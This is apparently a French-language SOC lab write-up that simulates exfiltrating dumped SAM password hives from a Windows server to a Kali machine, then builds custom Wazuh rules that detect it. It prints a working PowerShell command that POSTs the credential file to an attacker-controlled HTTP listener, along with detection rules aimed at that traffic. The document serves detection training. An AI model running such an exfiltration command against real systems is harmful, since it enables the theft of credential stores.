

Lab SOC — Chapitre 6, Module 6

Exfiltration HTTP + Detection Wazuh

Date : 2026-06-28 | Kali 192.168.56.100 → Windows Server 2022 192.168.56.101 | Wazuh 4.12.0

1. Objectif du module

Simuler une exfiltration de données depuis un serveur Windows compromis vers la machine attaquante Kali, puis détecter cette exfiltration dans Wazuh via des règles custom. Prouver de bout en bout : l'attaque fonctionne ET Wazuh la détecte.

A RETENIR	L'exfiltration = la dernière étape d'une attaque. L'attaquant a déjà accès à la machine, il récupère les données volées et les fait sortir du réseau.
----------------------	---

2. Scénario d'attaque

Les modules précédents ont permis d'obtenir un accès au Windows Server 2022 et de dumper les hash des mots de passe (sam.hive + system.hive via reg save). L'objectif ici : exfiltrer ces fichiers vers Kali via HTTP.

Étape 1 — Serveur HTTP récepteur sur Kali

Terminal : Kali (`kali@kali`)

```
mkdir -p /tmp/exfil
cd /tmp/exfil
python3 -m http.server 8888 --bind 0.0.0.0
```

A RETENIR	python3 -m http.server 8888 : lance un serveur HTTP sur le port 8888. Kali écoute — tout fichier envoyé en POST arrivera dans /tmp/exfil/. --bind 0.0.0.0 = accepte les connexions sur toutes les interfaces réseau.
----------------------	--

Étape 2 — Exfiltration depuis Windows Server

Terminal : Windows Server — PowerShell Admin (`PS C:\>`)

```
Invoke-WebRequest -Uri http://192.168.56.100:8888/sam.hive `
-Method POST `
-InFile C:\Windows\Temp\sam.hive
```

A RETENIR	Invoke-WebRequest : commande PowerShell native (pas besoin d'outil externe). -Method POST : envoi des données (vs GET qui reçoit). -InFile : le fichier à envoyer. Aucun outil suspect installé = technique difficile à détecter par signature.
----------------------	---

Resultat cote Kali

```
192.168.56.101 - - [28/Jun/2026] "POST /sam.hive HTTP/1.1" 200 -
```

Le serveur HTTP sur Kali confirme la reception. Le fichier sam.hive est arrive dans /tmp/exfil/. L'exfiltration est reussie.

3. Detection dans Wazuh — L'angle mort

3.1 Premier essai : Wazuh ne detecte rien

Apres l'exfiltration, recherche dans Wazuh (Explore → Threat Hunting → Events) :
data.win.eventdata.destinationIp:192.168.56.100. Zero alerte. Pourtant Sysmon (Event ID 3) a bien enregistre la connexion.

IMPORTANT

Un SIEM ne conserve QUE les evenements qui correspondent a une regle.
Sysmon a vu la connexion PowerShell → port 8888, mais aucune regle Wazuh ne couvrait ce cas. L'evenement a ete jete (logall = no). C'est un ANGLE MORT.

3.2 Solution : creation de regles custom

Fichier modifie sur le manager Wazuh (dans le conteneur Docker) :

Terminal : Ubuntu WSL — Bash tool (`^wsl -d Ubuntu docker exec ...``)

```
/var/ossec/etc/rules/local_rules.xml
```

Regles ajoutees :

```
<group name="local,sysmon,exfiltration,">

  <rule id="100010" level="12">
    <if_group>sysmon_eid3_detections</if_group>
    <field name="win.eventdata.image" type="pcre2">(?!i)powershell</field>
    <description>PowerShell connexion reseau suspecte</description>
    <mitre><id>T1048</id></mitre>
  </rule>

  <rule id="100011" level="14">
    <if_group>sysmon_eid3_detections</if_group>
    <field name="win.eventdata.destinationPort">8888</field>
    <description>Connexion vers port 8888 - possible exfiltration HTTP</description>
    <mitre><id>T1048.003</id></mitre>
  </rule>
</group>
```

Difference entre les deux regles :

Rule ID	Ce qu'elle detecte	Niveau	Faux positifs
100010	Toute connexion reseau faite par PowerShell	12 - High	Possible (PS legitime)
100011	Connexion vers port 8888 specifiquement	14 - High	Tres rares

Commandes pour appliquer les regles :

```
# Valider la syntaxe XML
wsl -d Ubuntu docker exec single-node-wazuh.manager-1 \
/var/ossec/bin/verify-agent-conf

# Recharger les regles
wsl -d Ubuntu docker exec single-node-wazuh.manager-1 \
/var/ossec/bin/wazuh-control restart
```

4. Rejouer l'exfiltration et verifier la detection

Apres le restart du manager, l'exfiltration est rejouee avec la meme commande PowerShell. Cette fois la regle 100011 se declenche.

Alerte Wazuh observee — Rule 100011 :

Champ Wazuh	Valeur observee
rule.id	100011
rule.level	14 (High)
rule.description	Connexion vers port 8888 - possible exfiltration HTTP
agent.name	WindowsServer2022
data.win.eventdata.image	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
data.win.eventdata.destinationPort	8888
data.win.eventdata.destinationIp	192.168.56.100 (Kali)
rule.mitre.id	T1048.003

Recherche dans Wazuh pour retrouver cette alerte :

```
rule.id:100011
```

Explore → Threat Hunting → Events → taper rule.id:100011 dans la barre de recherche.

5. MITRE ATT&CK;

Code	Nom	Signification
T1048	Exfiltration Over Alternative Protocol	Exfiltration via protocole non standard (pas DNS, pas SMTP class
T1048.003	Unencrypted Non-C2 Protocol	Sous-technique : HTTP en clair, pas HTTPS, pas de C2 dedie

A RETENIR

MITRE ATT&CK; = catalogue mondial des techniques d'attaque reelles. Le .003 = sous-technique. Plus le code est precis, plus l'analyste comprend exactement ce qui s'est passe. T1048.003 dit : exfiltration HTTP en clair sur port non standard.

6. Niveaux d'alerte Wazuh

Niveau	Categorie	Exemple
0 - 6	Low / Info	Connexion normale, log systeme
7 - 11	Medium	Tentative de connexion echouee, scan de port
12 - 14	High	Detection malware, exfiltration, connexion suspecte
15+	Critical	Rootkit, compromission confirmee

7. Nettoyage post-exercice

Terminal : Windows Server — PowerShell Admin

```
Remove-Item C:\Windows\Temp\sam.hive -ErrorAction SilentlyContinue
Remove-Item C:\Windows\Temp\system.hive -ErrorAction SilentlyContinue
Remove-Item C:\Windows\Temp\test_sysmon.hive -ErrorAction SilentlyContinue
```

Terminal : Kali

```
rm -rf /tmp/exfil/
# Ctrl+C sur le serveur HTTP python3
```

8. Lecons SOC du module

Angle mort SIEM

Wazuh est aveugle a tout ce pour quoi il n'a pas de regle. Un evenement sans regle = jete. La qualite d'un SOC depend directement de la qualite de ses regles.

Regles custom

Quand une technique n'est pas couverte par les regles par défaut, l'analyste crée une règle custom. C'est une compétence clé SOC.

Living off the Land (LotL)

PowerShell est un outil Windows légitime. L'attaquant l'utilise pour exfiltrer sans installer d'outil suspect. Defender ne bloque pas — c'est au SIEM de détecter le comportement anormal.

Workflow d'investigation

Alerte niveau 14 → Explore → Threat Hunting → filtrer rule.id:100011 → lire les champs : qui (agent), quoi (image), vers où (destinationIp:destinationPort), quand (timestamp).

IMPORTANT

Un SIEM ne détecte que ce qu'on lui apprend à détecter. L'analyste SOC qui ne vérifie pas ses angles morts laisse passer les attaques réelles.